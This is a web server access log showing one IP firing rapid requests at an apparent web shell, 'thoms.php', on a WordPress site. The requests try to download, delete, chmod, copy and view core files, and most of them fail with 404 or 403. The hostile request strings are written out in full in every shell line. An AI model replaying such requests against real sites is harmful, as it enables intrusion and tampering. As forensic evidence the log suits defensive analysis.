45.135.193.11 - - [11/Sep/2026:23:55:13 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-widget-factory.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:13 -0400] "GET /thoms.php?dl=global-styles-and-settings.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=global-styles-and-settings.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:13 -0400] "GET /thoms.php?del=icons.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=icons.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:13 -0400] "GET /biotaiwan.com.tw/wp-includes/template-loader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:13 -0400] "GET /thoms.php?chmod=default-constants.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=default-constants.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:13 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fpluggable.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fpluggable.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:14 -0400] "GET /thoms.php?del=theme.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:14 -0400] "GET /thoms.php?dl=link-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=link-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:14 -0400] "GET /thoms.php?dl=robots-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=robots-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:14 -0400] "GET /thoms.php?chmod=class-oembed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-oembed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:14 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-customize-setting.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-customize-setting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:14 -0400] "GET /thoms.php?del=class-wp-script-modules.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-script-modules.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:14 -0400] "GET /thoms.php?chmod=compat.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=compat.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:14 -0400] "GET /thoms.php?del=media.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=media.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:14 -0400] "GET /biotaiwan.com.tw/wp-includes/block-bindings/ HTTP/1.1" 200 949 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:14 -0400] "GET /biotaiwan.com.tw/wp-includes/widgets/ HTTP/1.1" 200 1749 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:14 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fpost-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fpost-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:14 -0400] "GET /thoms.php?del=wp-db.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=wp-db.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:14 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-recovery-mode.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:14 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-roles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:14 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-user-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:14 -0400] "GET /biotaiwan.com.tw/wp-includes/ms-network.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:14 -0400] "GET /biotaiwan.com.tw/wp-includes/post-formats.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:14 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-block-parser-block.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:14 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fjson-schema.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fjson-schema.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:14 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fwidgets&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fwidgets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:14 -0400] "GET /thoms.php?del=class-wp-http-streams.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-streams.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:14 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:15 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-theme-json-schema.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-theme-json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:15 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:15 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-recovery-mode-link-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:15 -0400] "GET /thoms.php?chmod=global-styles-and-settings.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=global-styles-and-settings.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:15 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=load.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:15 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=rest-api.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=rest-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:15 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=style-engine.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=style-engine.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:15 -0400] "GET /thoms.php?chmod=template-loader.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=template-loader.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:15 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-application-passwords.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:15 -0400] "GET /thoms.php?chmod=theme-i18n.json&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme-i18n.json&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:15 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-json.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:15 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-locale-switcher.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-locale-switcher.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:15 -0400] "GET /biotaiwan.com.tw/wp-includes/rewrite.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:15 -0400] "GET /thoms.php?dl=class-wp-site-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-site-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:15 -0400] "GET /thoms.php?del=registration.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=registration.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:15 -0400] "GET /biotaiwan.com.tw/wp-includes/php-ai-client/ HTTP/1.1" 200 860 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:15 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ftheme-compat&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ftheme-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:15 -0400] "GET /thoms.php?chmod=bookmark.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=bookmark.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:15 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-http.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-http.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:15 -0400] "GET /thoms.php?del=feed-rss2.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-rss2.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:15 -0400] "GET /biotaiwan.com.tw/wp-includes/block-template-utils.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:16 -0400] "GET /biotaiwan.com.tw/wp-includes/compat-utf8.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:16 -0400] "GET /thoms.php?dl=meta.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=meta.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:16 -0400] "GET /thoms.php?chmod=class-wp-http-encoding.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-encoding.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:16 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass.wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass.wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:16 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffeed-rss2.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffeed-rss2.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:16 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=theme.json HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=theme.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:16 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fsodium_compat HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fsodium_compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:16 -0400] "GET /thoms.php?chmod=theme-compat&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme-compat&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:16 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:16 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-supports.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-supports.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:16 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-oembed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:16 -0400] "GET /thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:16 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-embed.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:16 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:16 -0400] "GET /thoms.php?chmod=IXR&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=IXR&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:16 -0400] "GET /thoms.php?dl=class-wp-block-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:16 -0400] "GET /thoms.php?del=class-wp-plugin-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-plugin-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:17 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=nav-menu.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:17 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fversion.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fversion.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:17 -0400] "GET /thoms.php?chmod=wp-diff.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=wp-diff.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:17 -0400] "GET /thoms.php?del=block-i18n.json&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-i18n.json&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:17 -0400] "GET /biotaiwan.com.tw/wp-includes/class-requests.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:17 -0400] "GET /thoms.php?chmod=class-wp-ajax-response.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-ajax-response.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
